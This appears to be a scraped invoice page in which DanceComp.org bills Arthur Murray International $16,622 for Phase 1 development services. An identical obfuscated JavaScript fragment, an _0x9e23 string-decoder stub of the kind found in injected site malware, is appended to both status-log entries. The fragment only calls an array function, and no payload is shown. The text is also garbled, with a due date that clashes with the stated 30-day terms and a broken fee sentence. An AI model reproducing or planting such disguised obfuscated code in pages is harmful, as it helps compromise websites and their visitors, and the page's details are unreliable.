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Arthur Murray International (Phase 1 Development)

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DanceComp.org 2655 N. Airport Rd. #62186
Fort Myers, FL 33907
US

Date: 2019-08-04

Invoice Number: DCO19-92-24

Invoice Due: 2019-08-18

Invoice Total: $16,622.00

Balance: $16,622.00

Task

Rate

Qty

%

Amount

Monthly installation for DEVELOPMENT SERVICES for the PHASE 1 of the Arthur Murray System Project.

$16,622

1

0%

$16,622

These payment options will include a service fee:
or 3% with a Credit Card or Bank Payment.

Payment Pending

Notes

Thank you; we really appreciate your business.

Terms

We do expect payment within 30 days, so please process this invoice within that time. There will be a 5% interest charge per month on late invoices.

Status Update
2019-08-04 @ 3:30 pm

Status changed: Draft to Pending. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}

Updated
2019-08-04 @ 3:31 pm

Invoice updated by Chest Rockwell. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}